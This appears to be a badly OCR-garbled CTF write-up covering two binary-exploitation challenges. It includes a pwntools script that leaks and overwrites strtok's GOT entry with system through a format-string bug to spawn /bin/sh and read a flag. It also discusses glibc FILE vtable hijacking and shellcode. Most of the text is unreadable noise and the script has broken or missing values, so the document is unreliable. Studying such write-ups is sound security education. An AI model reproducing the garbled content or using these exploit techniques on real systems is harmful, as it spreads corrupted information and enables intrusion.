splitines s 4 « « 7 x + « . <7 .+ tokenss - 5 x , ] s
rax@7
ebx@1a
r12E13
[sp+Bh] [bp-38h]E@1
[sp+Ch] [bp-24h]@Ei
tokens_count t_count
delim_address = delim
user_input out delim user_input delim t_count
out user_input, delim
out
total_tokens total_tokens < tokens_count total_tokens
ub out total_tokens
uh delim_address
uh
total_tokens
CoX A s T Ix s 1 e vl w sy L T g g xS

1

X
L
S X
i«

L
1112

P gplitlines - .. Ay € ! .~ cast toxXlower ¢~ &L X, xS x® S x 7 1 S}

1L « S
X ”
”
X L
X ” .

F

1

o flowds T Hids. 0 x o swiostark( X1 WADA s T ] ) "L
1WA S]] e oL T quitt 40X Yy SRR AL X

260)# ./mycroft holmes
s

Here are the animals around you...
1: gcc, 2: hacker, 3: billgatez, 4: hacker, 5: google,

>>> l

ix 0 v 0l x X oL S XX X LTS e L T X

Y 4.5 Ix 4. xos oD T1oX  prompti xs_ | RelF-<.$s..86
s "4« heip! x4 _ L 7idvalid comimand s~ 1 v _ | x sgccL X
2" x4 1" shelp 1T T X0 L T 4T Ao x . s

144
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a ~ v

1L Xx«adaBhBBEE Jr-goc- X7 L T ~s wX¥e o, X s KT o0 T
D4t 1 % sTx s Dowept |sToos fformatstifigc? 0ol T~ 1

v ~ ~ ~

Lo s X 7 s 41X ) Topmat.string 1:S_ LSX _Ti- SIS, v
L Iforthatstring ¢ , s~ o. _ s A4 FiHTR, 0 s X (1 s
O N T R T
LYy ls foe Y {1 s ST L, s L xdisassembly L X7 7T D 4STC X4
X“Av i1 A LAhellp'-x("::LX)JNL,“ LSHX‘”“"_X)S e RN . X S LoX
S « X's s «{Y x| s M- Z~vvvx ’:ﬂ‘grintquvi>C\|_-f<,.‘“v~,,'[5»1\“

(x s L, S GY2AYai-SINR £ S X411 s b«

S As LTS 0L s ABBY LIRWIESE SO s

17 XY« .xiphntc S X @YY S - BNESEI LI2Vig & 45 DS LT s .

result
i
result

result

]
result
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L I N i, 1 , . "1 _ weaponsssmonsters ¢ helpx + 117" _ x ¥
« ] x oo~ " s X DX oL s L [
gce>>> help %p
0x402b8e>>> help monsters
microsoft
billgatez
python
ruby
cpp
visualstudio
>>> help weapons
. 1,11 , oo € XL ST L, N cx 44 CXa ]
1 ’ X x " Dxoloxo . D S =i q .Zhe|px“ X |
oL, Tl s e T e Tl at22 18 6Add Gdzaé T
v Tl R L SOx 0 s A e QAR Ty e s x0T
shell Y4 s 1. 1.7
1 sS4 711X L. s sprintf 7 =~ SROP > x 4 L~ I < {ssC s
. *x o ]ls s {s i x@GOTwefry . ¥s ! o }GOTovemwritd ~ * > x 7y s
1v 0l vt x o A4 csghell . I E @ & sSY QLA oA ksyskedd o»x T x
FdeXs 47 GOTentry »2x 1T X7 4 GQTentryx ~ ! L s ..
x 1«7 CHAE T B (o "R SRR | I CHS T B BN BT X
system. 17 _ddAykaKe 1* s o 1x” 4%
(S:X\. R X SlX“ « % ) “] S :“LT[XL L S-I
L ~ S Fo AT X GOT ety w7 X J, X X s ] x T B R
. L s L _libcs, * s 4 ;& 7 striok-*~ 4 s __ ¢, ssplitlines-x {5 _ Ay ., « b XX
_ 1. DA 4 Proximity browses - -~ ¢ X s 4 <7 x s GOFentry, x” v 4 _ X

L 1+ ss s 4«7 ¥menu S { «JsplifineS. rir S ) ~ X main® st ox o x o

~ ~

T~ b L x " sektrast command § 4 % « e, 9T, (1 1)

~ > v
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Striok L

] =

sl =

"B
TR —

R RN I IR I B A

. s I x < cast tolower. ¢

Technologic

maE

- extrdet” coramidd S XX X

1.

s T x X % Uxosgpliflinest] ~ £ v AN w S« kS ST

L R L 14 1s), ST AN R

1" 1] x .

584GSY06GK6 MY KkEKdbinsh s £

system_ o, _ o :1%8ttok I *GOT entrys - R

1710 s | xast_to_lewer,

,slx“>s systemL.SJ%‘«:,

J T41% _shel v {_

~
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X _I ., X "

~ ~ > v v

ibt s 4L X x i ]s T x x deystem L X F XX Q]SS oS xCX
s X X Xx oD% . S L Lol ox " _—
s 4 _ _ x7" o _sx | formatstring - * ‘Strtoks L GOTerdtrys . -~ f - I L
x A FloGx . ¥l

L0 X UXABPRLT AT L ASYEIent 4L . f X x D ls o xiso L x]dSL oL D
DXx ot X xstrtok L b LSX %D s cprinfF L LS - _AUx4 % *“PEDA! | s
libc * ¢ 4 1 &trtok V4 _ ~ ss | Sestien]l d F * sStridk + GOTemrf o _

>

v X L = 1 ” StrtOH Lo, S. X X .. AJ -F| 4 Xv 5 IibCA . L flsys:_tem.=A_Ixxx .=
Jibc™ - x ]
Y os . -commandline {4 | * readeff 4. 1X ¢ 47 4 _ . s

X6 4 dbd g oL PR X 4 s T e wx L G ELR H X E Xl xS

dibc * 0 47 strtok 4% _ ~ , ss s 4s 1 sitgkd 4 «xs . sgrep % XL

: /1ib/x! 4-linux-gnu# readelf -s ./libc.so.6 | grep "strtok"
: Dbooooooee C 241 FUNC GLOBAL DEFAULT strtok
3: 000ROOROOAOS 232 FUNC WEAK  DEFAULT striok_
: 000000ROOOO8cedd 110 FUNC GLOBAL DEFAULT _ strtok

: 00000000000BOd70 232 FUNC GLOBAL DEFAULT 3 _ strtok r@eGLIBC 2.2

sytem © _ S X x i ls i+ sibe, L4714 . OxBOETO T  DSltok-. X 7 -
L. %sttekls ., X x D ls Tlbe” s K10, S Ox3fEI0 k kXX | Swx S X
(“x*x 1 ]s 4 striok-Ox#1760_s~ 1 systen)

~

JAlibes . v, - ¥ L s s Cibg Lt s Y dASE PSS D X0 L T ]
tlibecs =~ ¥ o« Ix ¥y texgloits 4 [ {~-S%L +¥S §as1_S
XL s { s 4 =i q” bo_ov S Lx .. x s ¢ DXLy s s
O I R oox X
sxxxoo X s o, s X4 0] X xformatstring® 0 27 s 4 ox T
Irsp-u 14 x T SOx 0 s XX I s 1~
XL E €, A x s A4S L 1 s L S it P b oS

S s o 7 s X sp B4 X s, T ¢ Yintf-X bredkpoint ¥ 1help o, 17 _ XY . s
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s * {ggamgaaa - + O KISEKUIF F I Hh k& : Greglestratg .. > > < ¢ x " {
L"s w1 1s oy 1o xos Do Y 0 n A e exxse ] Jed 7

&L help* o1, ., SxL 1 s L
Breakpoint 1, 0x0000000000401595 in ?? ()

irrsp
rsp Ox7fffffffdbf0 Ox7fffffffdbfoO

find aaaaaaaa

Searching for 'aaaaaaaa' in: None ranges
Found 1 results, display max 1 items:
[stack] : ("aaaaaaaa")

XY X XY L B 44158 % X8 k224 X K s} X X x D ]s T {x

X R x printf-Ls158s x 1* x ¥ . 4% 15 Fde . 64 1L w8 1
. X “farmat stringss -~
nullbytec + 1 1Y _  formatsting d _ , ! x * formatstrings<s, ~ 4 *s . *x 1
x { s 4 format strings] _.x _ * 7 L nulbyte«r A, 7T oS 0 " x Xx 1 ]s
x 7o X x 7 formarstridgs ! X P4 x o Ix 4. 4 cox 1 o Lx s T {4,
x4 ol 411 paddihg _ 9 . x % 4 47048 8 | s o x4 o x ¥ L
L 8 *x 4T 44 X
L s ox o X xS s s
s fpadding r @ KSEALJEWS* , x4 _ 1 .S -8trtok S st X x" s 1 s
RN P prinf (~189s L x4 7 x ¥ ., « s peintfs d 158s1 411" sx ¥, « s
2%160%s160 , « ! " 4+« * 1585 17 , &triok « GOTentnp L _ X x I |s
strtok o+ _ CXx o ]s ©o.systen Lx_ " X %k ) ¥ GOT entng RV
T e T T o B I R S [ e B ol T SN B
L. DX Xx DX 4" xf s p4{1Xs IWORDrA4F XS LdXIAXX]ss
x 7oL Tews Do X0 7 o p 47 x0T D s o SySteim cogtroke . ¢

11 pEntf -4, v + 87, XYl
(+ ¢ x.1_ spaddingi+ihelp 158 1
L Dxx x4 4L s I 4XxXs L xy L s %150 4T ¢ x ]  *x
T4 x s D L * 14 sy r 1 Isystem _ x s | L X
R T - il I . o |
LGOTentry 4 _ 4L _s T 4Xs | 1B#s: 148" _ x yi.]S1601 § % 4 x <
b1 D4 XophhniL ¢ "stridke .
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Technologic

s 4s i s.oXs T4 s 1 xpn gl xs gexdpll 4 1L
system . ¢ *x 1 Iswords X - pLd sy, ss¢
strtok L GOT entry* = x wdrd-ss - * x © ] 1633117« Xy xx162:5% 1 |
L TWORD  + 40 % 47" oghe: Lo S L
strtok L GOTentry* =~ x wdrdss  _ - 163 9 s
strtok Lt GOTentry 1 4. s 4 *X184 J_, - *x
17 XY .ol 0 HOKDAYKAKSN =4} J2E&0GSYOAKOAYRBAKE D
Lo - X x striok L +GOT entnyp R RO s 4L~ ©%Strtok-d s T kK . v X E
shell  ~ 1 . 4/binfsh x1..¥qs 17 U x ¥ L osystemtt” LS + 41.Lww Systent - - ,
X 1OX o« X o, WL X LY | s B B T~

v v o~

r 1 exploit + X

pwn

e = ELF( "./mycroft_holmes" )
r = process( "./mycroft_holmes"
r.sendline( "s" )

r.recv()

strtok_got_addr = e.got| 'strtok’ ]
strtok_got_s = p64(strtok_got_addr)
strtok_got_s_third_byte = p64(strtok_got addr +

libc_strtok offset =
libc_system_offset =
libc_system_strtok_diff = libc_strtok_offset - libc_system_offset

command = "help
command += "%160$s -- "

command += strtok_got_s
r.sendline(command)
d =r.recv()

strtok_addr = unpack(d.split( ‘a' [ - 1].split( "-- ") 0]
system_addr = p64(strtok_addr - libc_system_strtok_diff)
system_low_word = unpack(system_addr[ 1 2]
system_third_byte = unpack(system_addr[ ]
system_low_word = system_low_word - system_third_byte
first_write_width = - ( (system_third_byte))
second_write_width = ( (system_low_word))

command = "help
command += "%" + (system_third_byte - first_write_width) +
first_write_width
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command += "%164$hhn"

command += "%" + (system_low_word - second_write_width) +
second_write_width
command += "%163%hn - "

command += strtok_got_s
command += strtok_got_s_third_byte

r .sendline(command)
r.recv(system_low_word)

r.sendline( "Ibin/sh" )

r.interactive()
LY | s - X L “Shell wX « W6 s L K

0--\x88@ >>> root
ls
core
oexploit.py
flag.txt
mycroft holmes
mycroft _holmes d99bedfedadfaaddf301999508065a2b2febact?

imycroft holmes.i64
lpeda-session-mycroft holmes.txt
JREADME. txt
toughts. txt
cat ./flag.txt
ASiSCTF{n@t_R3@1_f!#g_s@rry}

J ] « Y N I x
Jim Moriarty
s ” X g X L, 1A Y X ’sJ IA X X x”“VA S Lol X% . S L
1 "FjleeStream Pointer Overflows s * x " « ~~ + 1 _ sAlibbclid XL , x4 53
s 14 _s s X7 R
standard) stdin : +r s 4. XD o ¥Wx s s, Kxgtreamy Tt 4w o, o+ 4.

"L 4Y . "s 1L ostdin 4+ % Ssgandard(errqy stderrx stajpdard outpuj stdout input

S« 1y coxo o boxostderix* 4 ;oS T ] xat s L " Lstdeut ",ss " 1 x S X~

~ v~ ~ > ~ ~

L AOlist_al 11 1 iy s 4 s « . X GNU L% k., 5% 4

A a A ~ ~ ~ A~ ~ ~

stdin v, xstdoutx 4 ¥ _ stdefr ~ T ,

X ] CX 4 0T X ~ €7 X ~_|Q_F|EE"SX"VXSV S XISX s Cv . 3‘g1ibtz—", X 4 o S

~

x
-
¢

1 stding ~ X x| X foped 4 | A x s . 07X *x < fopers « 4 .« koo

v o~ o
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10 jump_

aTechnologic

t- ~ 1+~ s”* o _|OLPILES " *{ s x 4 FileStredms y 1+ ~ X «
IO_FILE_pluss ~ ~ * ( _I@ FILE ss 45 s " * _ yiahler x s .y__ss

~

H/*

st

i

-}:

We always allocate an extra word following an _IO FILE.

This contains a pointer to the function jump table used.

This is for compatibility with C++ streambuf:; the word can
be used to smash to a pointer to a virtual function table. */

ruct _IO_FILE plus

_IO_FILE file:
const struct _IO jump t *vtable:

+ vthble 17

x s ObjectOfientéd] : x  _ *  Traversing™ .x% X x " s

S

1.

4

T s x T ls X : X 144 >Xxves

>

¥ x Al e X e XX e b e T A S, kI, s X

x  Joo

FdooaS €

X T ARd, x4 s SO x XX T4 4 Xxes oy

~ ~ ~ a

b~ S X OX b 4 e A4 Nrtsdtables e T AX T

o DxlxDogs s 4 1% Objeet®tieted 15X« G < 4
10 jump ¢ by x s glibefs ps{INC 44X x ]

struct _IO jump T

{
JUMP_FIELD(size_t, __ dummy):
JUMP_FIELD(size_t, _ dummy2):
JUMP_FIELD(_IO finish t, _ finish):
JUMP_FIELD(_IO overflow_ t, _ overflow):
JUMP_FIELD(_IO underflow t, __ underflow):
JUMP_FIELD(_IO_ underflow_t, _ uflow):
JUMP_FIELD(_IO pbackfail t, _ pbackfail):
/* showmany */
JUMP_FIELD(_IO_ xsputn T, _ Xsputn):
JUMP_FIELD(_IO_xsgetn t, _ xsgetn):
JUMP_FIELD(_IO_ seekoff t, _ seekoff):
JUMP_FIELD(_IO_seekpos_t, _ seekpos):
JUMP_FIELD(_IO_setbuf t, __ setbuf):
JUMP_FIELD(_IO sync t, _ sync):
JUMP_FIELD(_IO doallocate t, __ doallocate):
JUMP_FIELD(_IO_read_t, _ read):
JUMP_FIELD(_IO write T, _ write):
JUMP_FIELD(_IO_seek t, _ seek):
JUMP_FIELD(_IO close t, _ close):
JUMP_FIELD(_IO_stat_t, __ stat):
JUMP_FIELD(_IO_ showmanyc T, __ showmanyc) ;
JUMP_FIELD(_IO imbue T, _ imbue):

$#if O
get_column;
set_column;

$endif

&

:glibc* _IO_unbuffer_all s 4 « « " x X s . s

_IC SETBUF (fp, NULL, C):

1. S 4 LOXE8 X X AU Sy s X s 415 _12s D rxxq§ s %)

fp-* vtable
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1 * 4 File Stream ~ x « 4 L 1 . IFSROX™ .. File $treant Poifter Overflows _ x4
b < libeX | x oxoo oo, UL CX v s x 1. i ) 171 s N
x o, x40 s ¢ X|@_unblffer_alk  1Q flush_all lockp x _ | , b1, Os . xS T L
xoox o ooxd ox o Xy x O distal A X T x3 1S k. CF L0 Fs s
L vtables _ x Loxoo oy FY X o s dlows i XT A GUTXXX s 0T 4T XX 4T X
x Pxoos  ox v L x Ay T X b Y pd T s v s Oy X s L s
=S . x 1 x s THow-L v A Xxs o xY Jx7" v, s o 4D x 44 X
1 vtables . 1] xtx<o Xo o T ]x b x X L lwable , + ~» ¢ ¢
c,.| S L S ,”~ x.|‘“”x>|_ X X X ]
Fo9sscanf S 4«7 X L GO L $X 7 kX ot L R AR R T S T S G
_JO_OVERFLOW s « { ~» « flaw-e s L AXOx s o o x T L C o e X L Y L L ] x 7
_ o~ lscanfl J _ *Ox18F¥ s s " 1« X x iytabler, 44X sl v w0 s
i1 _ _ scanf(fp, EOR) . ~ ~ « - F s, X _IQO_OVERFLOW(IpXEOK) « ~ « - I S
S y x | s v, " , ~ ¥ I vs =x_,,R:OE>x4L]s.|XJ .’ﬁ,,:‘”n“&,,mxxF{X
1, .7 %x<s v x 44
, L A B T I RS I T B R 2 I I Y oS Do L1 7 X
vt TdEKSHEE ORRSE, L BaKST{ O2RSE
0)# ./jim moriarty
Size? 21
shellcode? Don't you worry _[::hil_d
,_-|“>va sI-|VX S . o« 1 sv X L X ’Ix\v Lo X Iy L oxy
chxy 4450~ T+ A1 oo bxy o Xt x Ddhputd Lo oy I wey
1 seffault s .0 x x 1 ShellcodE s ¥ " y o 1o
0)# ./jim moriarty
Size? 9999999999999999
+ RBLR® DERNX _ 4 _ S v 7 R X IDA 5, ~i™x {7 yss s DT sl (x|
X { x X | Xx " y s s .o |
1.4 ™! X 1A Avies ) HAX € xS, T, X CHADA % . 41X s xQx 1
X 4 3~"X].x X , X 1 x . 1., « 7 4%s8hell. ¥ {1 58 ¢ s ¢ ]
X Woow
stackof + _ * s 4«7 X o s omann*lrqd . X
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L] :XA‘X:V S L s {4 .1 4L xsx ] ., X v s - statkof«.2 . - 4" ] . s

A + Ll xypBead ~ 8%, 8« (calboe~ s_i_ L), T
P 10X x Ly (~,~>s s galog s is,XC 1 x I X ox lI]Xsx DS D) Pl
L. s xreafl e kS~ 4.« 1. ¢ Zhellsode = 1 T X _g uflptr L
getchar. t 1 snullPbye 4 - XS XL S IS A R I R A
¢ x 1 s { . ”oX . s X
S.ow U oisdin: st o ridexepcd Lo X e x DX x| v fred p 3BY - o ] f L X
17 10 s 0 texitir e X s S T x osx s gl ¥ a8 XS .
s« Xs ox sl fx {.gtaxk ovefflewn , ¢ _ x .~ s stackof S ¢ .y x X < _ 7
pseudocoda ! x « sy xy . o ssegfaulft 1 ¥ sx. Y8 """ shellcodex «. (s 1 _
X 1 X o« T , Lo X x .S L xys N Fd1 Lo x d SR N ST B
¢ x ., 7 nel-bytex ¥ _ . T s x s 4. X
X . oS | x”~“-{>< x><~ x\v .o X X | s | LX 1A ] ] x ,s”:~vs
FAB XL x o, e X DX o os 0 X T 0 Xx123486789 d L ox v X, e XX T
. X O« 1L 17B456789r Lioffset*  + pul-bytes 1« 6 s s x s 4] s D47
. xAulbyte* x 1 L st 4% L4l d% s 4l sX{ s oy .S

.segmentation fault x " . * {1 « X

[sp+8h] [bp-8h]&@1
[sp+Ch] [bp-4h]@1

size

e R

size

size

s 4L~ 13145728.s L x| Y offset* aulkbyte X + 1T« s L x T o« x . x”
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X x X G s 5 L X ] s E
ZXXZJ,_Zﬁ%ikijuﬂfer_sJJs"“x{ s X DX x 1] s sv Zx>‘|_1 ] .| x "oy
L P | x xpuffer-s: .S% X. X {+« s % DX x D] s L~

shelle 4y s nullkdyee” 11+« X . <

Lol s 1L« Usigeof L4y stackof ST H T L T X« L T4
libc tread s 1+« « " unsigned J + Y4 L~ wead n ¢4 7" x s sighedint, | x X
Tl x4 o Dx g x by o Ix.o o os  upsfgned x *d o+l Xy S0 HA
, Tesigned v «+ 1 -~ 0 v 47144 0 o 300 A AL X e o 4 1) X
X Cs s xS o Lo L. X

| s L s ”n ” = J L , X ” _I _I ” X L X -| | X _I S . ” .

. X S x oy 1. 1.7 T x . * hul-byte Gvérwrites S T 0
- DX 7L =i q X x S W X

X "o 4 o4 x R EOX o« x X L q 7 x 4 x DXL ox Ly D F

~ > ~ > ~

LT XL 14 S s o x| 0x2000000 L XY X] Ds. o .. 8k30Q000k LT XS4 L7 h. . T

X, ] 4 ¢s X "L S . W X S x X =x ., ] 4 ¢ X F
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